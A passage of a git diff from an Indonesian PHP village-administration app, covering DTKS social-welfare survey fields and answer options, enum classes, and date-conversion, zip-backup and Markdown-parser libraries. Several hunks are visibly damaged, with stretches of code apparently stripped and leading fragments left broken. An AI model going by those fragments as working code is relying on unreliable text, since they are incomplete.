'tahun_subsidi_pupuk', + 'kd_subsidi_lpg', + 'bulan_subsidi_lpg', + 'tahun_subsidi_lpg', + + 'kd_tabung_gas_5_5_kg', + 'kd_lemari_es', + 'kd_ac', + 'kd_pemanas_air', + 'kd_telepon_rumah', + 'kd_televisi', + 'kd_perhiasan_10_gr_emas', + 'kd_komputer_laptop', + 'kd_sepeda_motor', + 'kd_sepeda', + 'kd_mobil', + 'kd_perahu', + 'kd_kapal_perahu_motor', + 'kd_smartphone', + + 'jumlah_sapi', + 'jumlah_kerbau', + 'jumlah_kuda', + 'jumlah_babi', + 'jumlah_kambing_domba', + + 'kd_lahan', + 'kd_rumah_ditempat_lain', + 'kd_internet_sebulan', + 'kd_rek_aktif', + + 'catatan', + ], + // -------------------------------------------------------- pemisah & penanda + 'dtks_anggota' => [ + 'id', + 'id_dtks', + 'id_penduduk', + 'id_keluarga', + 'created_at', + 'updated_at', + + 'kd_ket_keberadaan_art', + 'kd_hubungan_dg_kk', + 'kd_punya_kartuid', + + 'kd_partisipasi_sekolah', + 'kd_pendidikan_tertinggi', + 'kd_kelas_tertinggi', + 'kd_ijazah_tertinggi', + + 'kd_bekerja_seminggu_lalu', + 'jumlah_jam_kerja_seminggu_lalu', + 'kd_lapangan_usaha_pekerjaan', + 'tulis_lapangan_usaha_pekerjaan', + 'kd_kedudukan_di_pekerjaan', + 'kd_punya_npwp', + + 'kd_punya_usaha_sendiri_bersama', + 'jumlah_usaha_sendiri_bersama', + 'kd_lapangan_usaha_dr_usaha', + 'tulis_lapangan_usaha_dr_usaha', + 'jumlah_pekerja_dibayar', + 'jumlah_pekerja_tidak_dibayar', + 'kd_kepemilikan_ijin_usaha', + 'kd_omset_usaha_perbulan', + 'kd_guna_internet_usaha', + + 'kd_gizi_seimbang', + 'kd_sulit_penglihatan', + 'kd_sulit_pendengaran', + 'kd_sulit_jalan_naiktangga', + 'kd_sulit_gerak_tangan_jari', + 'kd_sulit_belajar_intelektual', + 'kd_sulit_perilaku_emosi', + 'kd_sulit_paham_bicara_kom', + 'kd_sulit_mandiri', + 'kd_sulit_ingat_konsentrasi', + 'kd_sering_sedih_depresi', + 'kd_memiliki_perawat', + 'kd_penyakit_kronis_menahun', + + 'kd_jamkes_setahun', + 'kd_ikut_prakerja', + 'kd_ikut_kur', + 'kd_ikut_umi', + 'kd_ikut_pip', + 'jumlah_jamket_kerja', + ], + ]; + } + + final public static function pilihanBagian1() + { + return ['115' => [ + '0' => '0. KK Sesuai', + '1' => '1. Keluarga Induk', + '2' => '2. Keluarga pecahan', + ]]; + } + + final public static function pilihanBagian2() + { + return [ + '205' => [ + '1' => '1. Terisi lengkap', + '2' => '2. Terisi tidak lengkap', + '3' => '3. Tidak ada responden yang dapat memberi jawaban sampai akhir masa pendataan', + '4' => '4. Responden menolak', + '5' => '5. Keluarga pindah/bangunan sensus sudah tidak ada', + ], + ]; + } + + final public static function pilihanBagian3() + { + $pilihan3 = [ + '301a' => [ + '1' => '1. Milik sendiri', + '2' => '2. Kontrak/sewa', + '3' => '3. Bebas sewa', + '4' => '4. Dinas', + '5' => '5. Lainnya', + ], + '301b' => [ + '1' => '1. SHM atas Nama Anggota Keluarga', + '2' => '2. SHM bukan a.n Anggota Keluarga dengan perjanjian pemanfaatan tertulis', + '3' => '3. SHM bukan a.n Anggota Keluarga tanpa perjanjian pemanfaatan tertulis', + '4' => '4. Sertfikat selain SHM (SHGB, SHSRS)', + '5' => '5. Surat bukti lainnya (Girik, Letter C, dll)', + '6' => '6. Tidak Punya', + ], + '303' => [ + '1' => '1. Marmer/granit', + '2' => '2. Keramik', + '3' => '3. Parket/vinil/karpet', + '4' => '4. Ubin/tegel/teraso', + '5' => '5. Kayu/papan', + '6' => '6. Semen/bata merah', + '7' => '7. Bambu', + '8' => '8. Tanah', + '9' => '9. Lainnya', + ], + '304' => [ + '1' => '1. Tembok', + '2' => '2. Plesteran anyaman bambu/kawat', + '3' => '3. Kayu/papan/Gypsum/GRC/Calciboard', + '4' => '4. Anyaman bambu', + '5' => '5. Batang kayu', + '6' => '6. Bambu', + '7' => '7. Lainnya', + ], + '305' => [ + '1' => '1. Beton', + '2' => '2. Genteng', + '3' => '3. Seng', + '4' => '4. Asbes', + '5' => '5. Kayu/sirap', + '6' => '6. Bambu', + '7' => '7. Jerami/ijuk/daun-daunan/rumbia', + '8' => '8. Lainnya', + ], + '306a' => [ + '1' => '1. Air kemasan bermerk', + '2' => '2. Air isi ulang', + '3' => '3. Leding', + '4' => '4. Sumur bor/pompa', + '5' => '5. Sumur terlindung', + '6' => '6. Sumur tak terlindung', + '7' => '7. Mata air terlindung', + '8' => '8. Mata air tak terlindung', + '9' => '9. Air permukaan (sungai/danau/waduk/kolam/irigasi)', + '10' => '10. Air hujan', + '11' => '11. Lainnya', + ], + '306b' => [ + '1' => '1. < 10 meter', + '2' => '2. ≥ 10 meter', + '3' => '3. Tidak tahu', + ], + '307a' => [ + '1' => '1. Listrik PLN dengan meteran', + '2' => '2. Listrik PLN tanpa meteran', + '3' => '3. Listrik Non-PLN', + '4' => '4. Bukan listrik', + ], + '307b1' => [ + '1' => '1. 450 watt', + '2' => '2. 900 watt', + '3' => '3. 1.300 watt', + '4' => '4. 2.200 watt', + '5' => '5. > 2.200 watt', + ], + ]; + + return $pilihan3 + [ + '307b2' => $pilihan3['307b1'], + '307b3' => $pilihan3['307b1'], + '308' => [ + '1' => '1. Listrik', + '2' => '2. Gas elpiji 5,5kg/Blue gaz', + '3' => '3. Gas elpiji 12 kg', + '4' => '4. Gas elpiji 3 kg', + '5' => '5. Gas kota/meteran PGN', + '6' => '6. Biogas', + '7' => '7. Minyak tanah', + '8' => '8. Briket', + '9' => '9. Arang', + '10' => '10. Kayu bakar', + '11' => '11. Lainnya', + '12' => '12. Tidak memasak di rumah', + ], + '309a' => [ + '1' => '1. Ada, digunakan hanya Anggota Keluarga sendiri ', + '2' => '2. Ada, digunakan bersama Anggota Keluarga dari rumah tangga tertentu', + '3' => '3. Ada, di MCK komunal', + '4' => '4. Ada, di MCK umum/siapapun menggunakan', + '5' => '5. Ada, Anggota Keluarga tidak menggunakan', + '6' => '6. Tidak ada fasilitas', + ], + '309b' => [ + '1' => '1. Leher angsa', + '2' => '2. Plengsengan dengan tutup', + '3' => '3. Plengsengan tanpa tutup', + '4' => '4. Cemplung/cubluk', + ], + '310' => [ + '1' => '1. Tangki septik', + '2' => '2. IPAL', + '3' => '3. Kolam/sawah/sungai/danau/laut', + '4' => '4. Lubang tanah', + '5' => '5. Pantai/tanah lapang/kebun', + '6' => '6. Lainnya', + ], + ]; + } + + final public static function pilihanBagian4() + { + $pilihan4 = [ + '404' => [ + '1' => '1. Tinggal bersama keluarga', + '2' => '2. Meninggal', + '3' => '3. Tidak tinggal bersama keluarga/pindah ke wilayah (daerah) lain di Indonesia', + '4' => '4. Tidak tinggal bersama keluarga/pindah ke luar negeri', + '5' => '5. Anggota Keluarga baru', + '6' => '6. Tidak ditemukan', + ], + '405' => [ + '1' => '1. Laki-laki', + '2' => '2. Perempuan', + ], + '408' => [ + '1' => '1. Belum kawin', + '2' => '2. Kawin/nikah', + '3' => '3. Cerai hidup', + '4' => '4. Cerai mati', + ], + '409' => [ + '1' => '1. Kepala keluarga', + '2' => '2. Istri/suami', + '3' => '3. Anak', + '4' => '4. Menantu', + '5' => '5. Cucu', + '6' => '6. Orang tua/mertua', + '7' => '7. Pembantu/sopir', + '8' => '8. Lainnya', + ], + '410' => self::YA_TIDAK, + '411' => [ + '0' => '0. Tidak memiliki', + '1' => '1. Akta Kelahiran', + '2' => '2. KIA', + '4' => '4. KTP', + ], + '412' => [ + '1' => '1. Tidak/belum pernah sekolah', + '2' => '2. Masih sekolah', + '3' => '3. Tidak bersekolah lagi', + ], + '413' => [ + '1' => '01. Paket A', + '2' => '02. SDLB', + '3' => '03. SD', + '4' => '04. MI', + '5' => '05. SPM/PDF Ula', + '6' => '06. Paket B', + '7' => '07. SMP LB', + '8' => '08. SMP', + '9' => '09. MTs', + '10' => '10. SPM/PDF Wustha', + '11' => '11. Paket C', + '12' => '12. SMLB', + '13' => '13. SMA', + '14' => '14. MA', + '15' => '15. SMK', + '16' => '16. MAK', + '17' => '17. SPM/PDF Ulya', + '18' => '18. D1/D2/D3', + '19' => '19. D4/S1', + '20' => '20. Profesi', + '21' => '21. S2', + '22' => '22. S3', + ], + '414' => [ + '1' => '1 ', + '2' => '2 ', + '3' => '3', + '4' => '4', + '5' => '5', + '6' => '6', + '7' => '7', + '8' => '8 (Tamat & Lulus)', + ], + ]; + $pilihan4 = $pilihan4 + [ + '415' => $pilihan4['413'] + [ + '23' => '23. Tidak Punya Ijazah SD', + ], + '416a' => [ + '1' => '1. Ya', + '2' => '2. Tidak', + ], + // '416b' => 'int(2)', + '417' => [ + '1' => '01. Pertanian tanaman padi & palawija', + '2' => '02. Hortikultura', + '3' => '03. Perkebunan', + '4' => '04. Perikanan ', + '5' => '05. Peternakan', + '6' => '06. Kehutanan & pertanian lainnya', + '7' => '07. Pertambangan/penggalian', + '8' => '08. Industri pengolahan', + '9' => '09. Pengadaan listrik, gas, uap/air panas, & udara dingin', + '10' => '10. Pengelolaan air, pengelolaan air limbah, pengelolaan dan daur ulang sampah, dan aktivitas remediasi', + '11' => '11. Konstruksi', + '12' => '12. Perdagangan besar dan eceran, reparasi dan perawatan mobil dan sepeda motor', + '13' => '13. Pengangkutan dan pergudangan', + '14' => '14. Penyediaan akomodasi & makan minum', + '15' => '15. Informasi & komunikasi', + '16' => '16. Keuangan & asuransi', + '17' => '17. Real estate', + '18' => '18. Aktivitas profesional, ilmiah, dan teknis', + '19' => '19. Aktivitas penyewaan dan sewa guna tanpa hak opsi, ketenagakerjaan, agen perjalanan, dan penunjang usaha lainnya', + '20' => '20. Administrasi pemerintahan, pertahanan, dan jaminan sosial wajib', + '21' => '21. Pendidikan', + '22' => '22. Aktivitas kesehatan manusia dan aktivitas sosial', + '23' => '23. Kesenian, hiburan, dan rekreasi', + '24' => '24. Aktivitas jasa lainnya', + '25' => '25. Aktivitas keluarga sebagai pemberi kerja', + '26' => '26. Aktivitas badan internasional dan badan ekstra internasional lainnya', + ], + '418' => [ + '1' => '1. Berusaha sendiri', + '2' => '2. Berusaha dibantu buruh tidak tetap/tidak dibayar', + '3' => '3. Berusaha dibantu buruh tetap/dibayar', + '4' => '4. Buruh/karyawan/pegawai swasta', + '5' => '5. PNS/TNI/ Polri/BUMN/BUMD/pejabat negara ', + '6' => '6. Pekerja bebas pertanian', + '7' => '7. Pekerja bebas non-pertanian', + '8' => '8. Pekerja keluarga/tidak dibayar', + ], + '419' => [ + '1' => '1. Ada, Dapat menunjukkan', + '2' => '2. Ada, Tidak dapat menunjukkan ', + '3' => '3. Tidak ada', + ], + '420a' => self::YA_TIDAK, + // '420b' => 'int(2)', + ]; + $pilihan4 = $pilihan4 + [ + '421' => $pilihan4['417'], + // '422' => 'int(3)', + // '423' => 'int(2)', + '424' => [ + '1' => '01. Surat Izin Tempat Usaha (SITU)', + '2' => '02. Surat Izin Usaha Perdagangan (SIUP)', + '3' => '03. Nomor Registrasi Perusahaan (NRP)', + '4' => '04. Nomor Induk Berusaha (NIB)', + '5' => '05. Surat Keterangan Domisili Perusahaan (SKDP)', + '6' => '06. Analisis Mengenai Dampak Lingkungan (Amdal)', + '7' => '07. Surat Izin Mendirikan Bangunan (SIMB)', + '8' => '08. Surat Keputusan Badan Hukum (SKBH)', + '9' => '09. Akta Pendirian Perseroan Terbatas (APPT)', + '10' => '10. Surat izin lainnya', + '11' => '11. Belum memiliki izin usaha', + '12' => '12. Surat Izin Gangguan', + ], + '425' => [ + '1' => '1. < 5 Juta (ultra mikro)', + '2' => '2. 5 -< 15 Juta (ultra mikro)', + '3' => '3. 15 -< 25 Juta (ultra mikro)', + '4' => '4. 25 -< 167 Juta (mikro)', + '5' => '5. 167 -< 1.250 Juta (kecil)', + '6' => '6. 1.250 -< 4.167 Juta (menengah)', + '7' => '7. ≥ 4.167 Juta (besar)', + ], + '426' => [ + '0' => '00. Tidak menggunakan internet', + '1' => '01. Sebagai sarana komunikasi', + '2' => '02. Untuk mencari informasi', + '4' => '04. Sebagai Pemasaran/Iklan', + '8' => '08. Sebagai Sarana Penjualan Produk/Output', + '16' => '16. Sebagai Pembelian dan/atau Produksi', + '32' => '32. Lainnya', + ], + '427' => [ + '1' => '1. Kurang Gizi (Wasting)', + '2' => '2. Kerdil (Stunting)', + '3' => '3. Tidak ada catatan', + '8' => '8. Tidak tahu', + ], + '428a' => [ + '1' => '1. Ya, sama sekali tidak bisa', + '2' => '2. Ya, banyak kesulitan dan membutuhkan bantuan', + '3' => '3. Ya, sedikit kesulitan, tapi tidak membutuhkan bantuan', + '4' => '4. Tidak mengalami kesulitan', + ], + ]; + $pilihan4 = $pilihan4 + [ + '428b' => $pilihan4['428a'], + '428c' => $pilihan4['428a'], + '428d' => $pilihan4['428a'], + '428e' => $pilihan4['428a'], + '428f' => $pilihan4['428a'], + '428g' => $pilihan4['428a'], + '428h' => $pilihan4['428a'], + '428i' => $pilihan4['428a'], + '428j' => [ + '1' => '1. Sangat sering', + '2' => '2. Sering', + '3' => '3. Jarang', + '4' => '4. Tidak pernah', + ], + '429' => [ + '1' => '1. Ya, Anggota Keluarga', + '2' => '2. Ya, Bukan Anggota Keluarga', + '3' => '3. Ya, Tinggal Sendiri', + ], + '430' => [ + '1' => '01. Tidak Ada', + '2' => '02. Hipertensi (darah tinggi)', + '3' => '03. Rematik', + '4' => '04. Asma', + '5' => '05. Masalah jantung', + '6' => '06. Diabetes (kencing manis)', + '7' => '07. Tuberculosis (TBC)', + '8' => '08. Stroke', + '9' => '09. Kanker atau tumor ganas', + '10' => '10. Gagal ginjal', + '11' => '11. Haemophilia', + '12' => '12. HIV/AIDS', + '13' => '13. Kolesterol', + '14' => '14. Sirosis Hati', + '15' => '15. Thalasemia', + '16' => '16. Leukimia', + '17' => '17. Alzheimer', + '18' => '18. Lainnya', + ], + '431a' => [ + '0' => '0. Tidak memiliki', + '1' => '1. PBI/JKN', + '2' => '2. JKN Mandiri', + '4' => '4. JKN Pemberi Kerja', + '8' => '8. Jamkes lainnya', + '99' => '99. Lainnya', + ], + '431b' => [ + '1' => '1. Ya', + '2' => '2. Tidak', + '8' => '8. Tidak tahu', + ], + ]; + + return $pilihan4 + [ + '431c' => $pilihan4['431b'], + '431d' => $pilihan4['431b'], + '431e' => $pilihan4['431b'], + '431f' => [ + '0' => '00. Tidak memiliki', + '1' => '01. BPJS Jaminan Kecelakaan Kerja', + '2' => '02. BPJS Jaminan Kematian', + '4' => '04. BPJS Jaminan Hari Tua', + '8' => '08. BPJS Jaminan Pensiun', + '16' => '16. Pensiunan/Jaminan hari tua lainnya (Taspen/Program Pensiun Swasta)', + '99' => '99. Tidak tahu', + ], + ]; + } + + final public static function pilihanBagian5() + { + return [ + 'ya_tidak' => self::YA_TIDAK, + + '505' => [ + '0' => '0. Tidak menggunakan internet', + '1' => '1. Internet dan TV digital berlangganan', + '2' => '2. Wifi', + '3' => '3. Internet Handphone', + ], + '506' => [ + '1' => '1. Ya, untuk usaha', + '2' => '2. Ya, untuk pribadi', + '3' => '3. Ya, untuk usaha dan pribadi', + '4' => '4. Tidak', + ], + ]; + } +} diff --git a/app/Enums/HubunganRTMEnum.php b/app/Enums/HubunganRTMEnum.php index 7f6d80dd0..9088391dd 100644 --- a/app/Enums/HubunganRTMEnum.php +++ b/app/Enums/HubunganRTMEnum.php @@ -1,441 +1,57 @@ - 'Kepala Rumah Tangga', + self::ANGGOTA => 'Anggota', + ]; + } +} diff --git a/app/Enums/JawabanKepuasanEnum.php b/app/Enums/JawabanKepuasanEnum.php index 5ba4884e3..832cb445c 100644 --- a/app/Enums/JawabanKepuasanEnum.php +++ b/app/Enums/JawabanKepuasanEnum.php @@ -1,473 +1,61 @@ - 'Sangat Puas', + self::PUAS => 'Puas', + self::CUKUP_PUAS => 'Cukup Puas', + self::TIDAK_PUAS => 'Tidak Puas', + ]; + } +} diff --git a/app/Enums/JenisKelaminEnum.php b/app/Enums/JenisKelaminEnum.php index f86cf1574..d48094b36 100644 --- a/app/Enums/JenisKelaminEnum.php +++ b/app/Enums/JenisKelaminEnum.php @@ -1,449 +1,57 @@ - 'Laki-laki', + self::PEREMPUAN => 'Perempuan', + ]; + } +} diff --git a/app/Enums/ReferensiEnum.php b/app/Enums/ReferensiEnum.php index acc3aa1bb..3603b9a68 100644 --- a/app/Enums/ReferensiEnum.php +++ b/app/Enums/ReferensiEnum.php @@ -1,425 +1,85 @@ - 'tweb_penduduk_sex', + self::STATUS_HUBUNGAN_DALAM_KELUARGA => 'tweb_penduduk_hubungan', + self::STATUS_HUBUNGAN_DALAM_RUMAH_TANGGA => 'tweb_rtm_hubungan', + self::AGAMA => 'tweb_penduduk_agama', + self::PENDIDIKAN_DALAM_KK => 'tweb_penduduk_pendidikan_kk', + self::PENDIDIKAN_SEDANG_DITEMPUH => 'tweb_penduduk_pendidikan', + self::PEKERJAAN => 'tweb_penduduk_pekerjaan', + self::STATUS_PERKAWINAN => 'tweb_penduduk_kawin', + self::WARGA_NEGARA => 'tweb_penduduk_warganegara', + self::GOLONGAN_DARAH => 'tweb_golongan_darah', + self::STATUS_PENDUDUK => 'tweb_penduduk_status', + self::STATUS_DASAR => 'tweb_status_dasar', + self::CACAT => 'tweb_cacat', + self::SAKIT_MENAHUN => 'tweb_sakit_menahun', + self::CARA_KB => 'tweb_cara_kb', + self::ASURANSI => 'tweb_penduduk_asuransi', + ]; + } +} diff --git a/app/Enums/SHDKEnum.php b/app/Enums/SHDKEnum.php index a13c3b0d4..077267add 100644 --- a/app/Enums/SHDKEnum.php +++ b/app/Enums/SHDKEnum.php @@ -1,385 +1,75 @@ - 'KEPALA KELUARGA', + self::SUAMI => 'SUAMI', + self::ISTRI => 'ISTRI', + self::ANAK => 'ANAK', + self::MENANTU => 'MENANTU', + self::CUCU => 'CUCU', + self::ORANGTUA => 'ORANGTUA', + self::MERTUA => 'MERTUA', + self::FAMILI_LAIN => 'FAMILI LAIN', + self::PEMBANTU => 'PEMBANTU', + self::LAINNYA => 'LAINNYA', + ]; + } +} diff --git a/app/Enums/SasaranEnum.php b/app/Enums/SasaranEnum.php index 15ce6c882..ad54a0483 100644 --- a/app/Enums/SasaranEnum.php +++ b/app/Enums/SasaranEnum.php @@ -1,409 +1,61 @@ - 'Penduduk', + self::KELUARGA => 'Keluarga / KK', + self::RUMAH_TANGGA => 'Rumah Tangga', + self::KELOMPOK => 'Kelompok/Organisasi Kemasyarakatan', + ]; + } +} diff --git a/app/Enums/SatuanWaktuEnum.php b/app/Enums/SatuanWaktuEnum.php index a343540d6..5985c0696 100644 --- a/app/Enums/SatuanWaktuEnum.php +++ b/app/Enums/SatuanWaktuEnum.php @@ -1,441 +1,61 @@ - 'Hari', + self::MINGGU => 'Minggu', + self::BULAN => 'Bulan', + self::TAHUN => 'Tahun', + ]; + } +} diff --git a/app/Enums/SistemEnum.php b/app/Enums/SistemEnum.php index a170b2f96..a3c85f30c 100644 --- a/app/Enums/SistemEnum.php +++ b/app/Enums/SistemEnum.php @@ -1,401 +1,59 @@ - 'Website', + self::ADMINISTRATOR => 'Administrator', + self::KEHADIRAN => 'Kehadiran', + ]; + } +} diff --git a/app/Enums/StatusDasarEnum.php b/app/Enums/StatusDasarEnum.php index eb9be0ae5..fa14601f2 100644 --- a/app/Enums/StatusDasarEnum.php +++ b/app/Enums/StatusDasarEnum.php @@ -1,441 +1,65 @@ - 'Hidup', + self::MATI => 'Mati', + self::PINDAH => 'Pindah', + self::HILANG => 'Hilang', + self::PERGI => 'Pergi', + self::TIDAK_VALID => 'Tidak Valid', + ]; + } +} diff --git a/app/Enums/StatusEnum.php b/app/Enums/StatusEnum.php index 1b2f894bf..4673c873f 100644 --- a/app/Enums/StatusEnum.php +++ b/app/Enums/StatusEnum.php @@ -1,401 +1,57 @@ - 'Ya', + self::TIDAK => 'Tidak', + ]; + } +} diff --git a/app/Enums/StatusHubunganEnum.php b/app/Enums/StatusHubunganEnum.php index cf04526da..874dba40c 100644 --- a/app/Enums/StatusHubunganEnum.php +++ b/app/Enums/StatusHubunganEnum.php @@ -1,465 +1,75 @@ - 'Kepala Keluarga', + self::SUAMI => 'Suami', + self::ISTRI => 'Istri', + self::ANAK => 'Anak', + self::MENANTU => 'Menantu', + self::CUCU => 'Cucu', + self::ORANGTUA => 'Orang Tua', + self::MERTUA => 'Mertua', + self::FAMILI_LAIN => 'Famili Lain', + self::PEMBANTU => 'Pembantu', + self::LAINNYA => 'Lainnya', + ]; + } +} diff --git a/app/Enums/StatusPendudukEnum.php b/app/Enums/StatusPendudukEnum.php index 9cc2e2ac7..422c18076 100644 --- a/app/Enums/StatusPendudukEnum.php +++ b/app/Enums/StatusPendudukEnum.php @@ -1,465 +1,57 @@ - 'Tetap', + self::TIDAK_TETAP => 'Tidak Tetap', + ]; + } +} diff --git a/app/Enums/StatusSuratKecamatanEnum.php b/app/Enums/StatusSuratKecamatanEnum.php index ff60a00b1..79485faf2 100644 --- a/app/Enums/StatusSuratKecamatanEnum.php +++ b/app/Enums/StatusSuratKecamatanEnum.php @@ -1,513 +1,59 @@ - 'Tidak Aktif', + self::BelumDikirim => 'Belum Dikirim', + self::SudahDikirim => 'Sudah Dikirim', + ]; + } +} diff --git a/app/Libraries/DateConv.php b/app/Libraries/DateConv.php index 1a7cb6bbc..8f5e7d69b 100644 --- a/app/Libraries/DateConv.php +++ b/app/Libraries/DateConv.php @@ -1,417 +1,180 @@ - 10 || ($month === 10 && $day > 4)) ? -10 : ($year === 1582 && $month === 10 ? 0 : ($year < 1583 ? 0 : 2 - $a + floor($a / 4.0)))); + + return floor(365.25 * ($year + 4716)) + floor(30.6001 * ($month + 1)) + $day + $b - 1524; + } + + /** + * The Julian Day for a given Hijri date. + * + * @param int $year + * @param int $month + * @param int $day + * + * @return float + */ + public function hijriToJulian($year, $month, $day) + { + return floor((11 * $year + 3) / 30) + floor(354 * $year) + floor(30 * $month) - floor(($month - 1) / 2) + $day + 1_948_440 - 386; + } + + /** + * The Gregorian date Day for a given Julian + * + * @param float $julianDay + * + * @return array + */ + public function julianToGregorian($julianDay) + { + $b = 0; + if ($julianDay > 2_299_160) { + $a = floor(($julianDay - 1_867_216.25) / 36524.25); + $b = 1 + $a - floor($a / 4.0); + } + $bb = $julianDay + $b + 1524; + $cc = floor(($bb - 122.1) / 365.25); + $dd = floor(365.25 * $cc); + $ee = floor(($bb - $dd) / 30.6001); + $day = ($bb - $dd) - floor(30.6001 * $ee); + $month = $ee - 1; + if ($ee > 13) { + $cc++; + $month = $ee - 13; + } + $year = $cc - 4716; + + return ['year' => (int) $year, 'month' => (int) $month, 'day' => (int) $day]; + } + + /** + * The Hijri date Day for a given Julian + * + * @param float $julianDay + * + * @return array + */ + public function julianToHijri($julianDay) + { + $y = 10631.0 / 30.0; + $epochAstro = 1_948_084; + $shift1 = 8.01 / 60.0; + $z = $julianDay - $epochAstro; + $cyc = floor($z / 10631.0); + $z = $z - 10631 * $cyc; + $j = floor(($z - $shift1) / $y); + $z = $z - floor($j * $y + $shift1); + $year = 30 * $cyc + $j; + $month = (int) floor(($z + 28.5001) / 29.5); + if ($month === 13) { + $month = 12; + } + $day = $z - floor(29.5001 * $month - 29); + + return ['year' => (int) $year, 'month' => (int) $month, 'day' => (int) $day]; + } + + public function gregorianToHijri($year, $month, $day) + { + $jd = $this->gregorianToJulian($year, $month, $day); + + return $this->julianToHijri($jd); + } + + public function HijriDateId($format, $time = null) + { + //greg + [$Y, $n, $j] = explode('/', date('Y/n/j', $time ?: time())); + // hijri + $hijri = $this->gregorianToHijri($Y, $n, $j); + + $n = $hijri['month']; + $Y = $hijri['year']; + $j = $hijri['day']; + $F = $this->months[$n]; + + return strtr($format, compact('F', 'Y', 'j', 'n')) . ' H'; + } +} diff --git a/app/Libraries/FlxZipArchive.php b/app/Libraries/FlxZipArchive.php index 2bc1dd144..3b4d092d1 100644 --- a/app/Libraries/FlxZipArchive.php +++ b/app/Libraries/FlxZipArchive.php @@ -1,457 +1,116 @@ -tmp_file = tempnam(BACKUPPATH, $waktu_backup_terakhir); + } else { + $this->tmp_file = tempnam(sys_get_temp_dir(), $waktu_backup_terakhir); + } + } else { + $this->tmp_file = tempnam(sys_get_temp_dir(), ''); + } + + $this->waktu_backup_terakhir = ($waktu_backup_terakhir == null) ? null : Carbon::parse($waktu_backup_terakhir); + $res = $this->open($this->tmp_file, ZipArchive::CREATE); + if ($res === true) { + $this->addDir($backup_folder, basename($backup_folder)); + $this->close(); + + return $this->tmp_file; + } + echo 'Could not create a zip archive'; + } + + public function download($nama_file) + { + // Unduh berkas zip + header('Content-Description: File Transfer'); + header('Content-disposition: attachment; filename=' . $nama_file); + header('Content-type: application/zip'); + flush(); + readfile_chunked($this->tmp_file); + + exit(); + } + + public function addDir($location, $name) + { + $this->addEmptyDir($name); + $this->addDirDo($location, $name); + } + + private function addDirDo($location, $name) + { + $name .= '/'; + $location .= '/'; + $dir = opendir($location); + + while ($file = readdir($dir)) { + if ($file == '.' || $file == '..') { + continue; + } + $do = (filetype($location . $file) == 'dir') ? 'addDir' : 'addFile'; + $file_info = get_file_info($location . $file); + + if ($this->waktu_backup_terakhir != null) { + if ($do == 'addFile' && ! Carbon::createFromTimestamp($file_info['date'])->gt($this->waktu_backup_terakhir)) { + continue; + } + } + + $this->{$do}($location . $file, $name . $file); + } + } +} diff --git a/app/Libraries/Parsedown.php b/app/Libraries/Parsedown.php index 25cfa2929..7ca7c7855 100644 --- a/app/Libraries/Parsedown.php +++ b/app/Libraries/Parsedown.php @@ -1,425 +1,1559 @@ - ['Header'], + '*' => ['Rule', 'List'], + '+' => ['List'], + '-' => ['SetextHeader', 'Table', 'Rule', 'List'], + '0' => ['List'], + '1' => ['List'], + '2' => ['List'], + '3' => ['List'], + '4' => ['List'], + '5' => ['List'], + '6' => ['List'], + '7' => ['List'], + '8' => ['List'], + '9' => ['List'], + ':' => ['Table'], + '<' => ['Comment', 'Markup'], + '=' => ['SetextHeader'], + '>' => ['Quote'], + '[' => ['Reference'], + '_' => ['Rule'], + '`' => ['FencedCode'], + '|' => ['Table'], + '~' => ['FencedCode'], + ]; + + // ~ + + protected $unmarkedBlockTypes = [ + 'Code', + ]; + + // + // Inline Elements + // + + protected $InlineTypes = [ + '"' => ['SpecialCharacter'], + '!' => ['Image'], + '&' => ['SpecialCharacter'], + '*' => ['Emphasis'], + ':' => ['Url'], + '<' => ['UrlTag', 'EmailTag', 'Markup', 'SpecialCharacter'], + '>' => ['SpecialCharacter'], + '[' => ['Link'], + '_' => ['Emphasis'], + '`' => ['Code'], + '~' => ['Strikethrough'], + '\\' => ['EscapeSequence'], + ]; + + // ~ + + protected $inlineMarkerList = '!"*_&[:<>`~\\'; + private static $instances = []; + + // + // Fields + // + + protected $DefinitionData; + + // + // Read-Only + + protected $specialCharacters = [ + '\\', '`', '*', '_', '{', '}', '[', ']', '(', ')', '>', '#', '+', '-', '.', '!', '|', + ]; + protected $StrongRegex = [ + '*' => '/^[*]{2}((?:\\\\\*|[^*]|[*][^*]*[*])+?)[*]{2}(?![*])/s', + '_' => '/^__((?:\\\\_|[^_]|_[^_]*_)+?)__(?!_)/us', + ]; + protected $EmRegex = [ + '*' => '/^[*]((?:\\\\\*|[^*]|[*][*][^*]+?[*][*])+?)[*](?![*])/s', + '_' => '/^_((?:\\\\_|[^_]|__[^_]*__)+?)_(?!_)\b/us', + ]; + protected $regexHtmlAttribute = '[a-zA-Z_:][\w:.-]*(?:\s*=\s*(?:[^"\'=<>`\s]+|"[^"]*"|\'[^\']*\'))?'; + protected $voidElements = [ + 'area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'link', 'meta', 'param', 'source', + ]; + protected $textLevelElements = [ + 'a', 'br', 'bdo', 'abbr', 'blink', 'nextid', 'acronym', 'basefont', + 'b', 'em', 'big', 'cite', 'small', 'spacer', 'listing', + 'i', 'rp', 'del', 'code', 'strike', 'marquee', + 'q', 'rt', 'ins', 'font', 'strong', + 's', 'tt', 'kbd', 'mark', + 'u', 'xm', 'sub', 'nobr', + 'sup', 'ruby', + 'var', 'span', + 'wbr', 'time', + ]; + + // ~ + + public function text($text) + { + // make sure no definitions are set + $this->DefinitionData = []; + + // standardize line breaks + $text = str_replace(["\r\n", "\r"], "\n", $text); + + // remove surrounding line breaks + $text = trim($text, "\n"); + + // split text into lines + $lines = explode("\n", $text); + + // iterate through lines to identify blocks + $markup = $this->lines($lines); + + // trim line breaks + return trim($markup, "\n"); + } + + // + // Setters + // + + public function setBreaksEnabled($breaksEnabled) + { + $this->breaksEnabled = $breaksEnabled; + return $this; + } + public function setMarkupEscaped($markupEscaped) + { + $this->markupEscaped = $markupEscaped; + return $this; + } + public function setUrlsLinked($urlsLinked) + { + $this->urlsLinked = $urlsLinked; + return $this; + } + public function setSafeMode($safeMode) + { + $this->safeMode = (bool) $safeMode; + return $this; + } + // + // Blocks + // + protected function lines(array $lines) + { + $CurrentBlock = null; + foreach ($lines as $line) { + if (rtrim($line) === '') { + if (isset($CurrentBlock)) { + $CurrentBlock['interrupted'] = true; + } + continue; + } + if (strpos($line, "\t") !== false) { + $parts = explode("\t", $line); + $line = $parts[0]; + unset($parts[0]); + foreach ($parts as $part) { + $shortage = 4 - mb_strlen($line, 'utf-8') % 4; + $line .= str_repeat(' ', $shortage); + $line .= $part; + } + } + $indent = 0; + while (isset($line[$indent]) && $line[$indent] === ' ') { + $indent++; + } + $text = $indent > 0 ? substr($line, $indent) : $line; + // ~ + $Line = ['body' => $line, 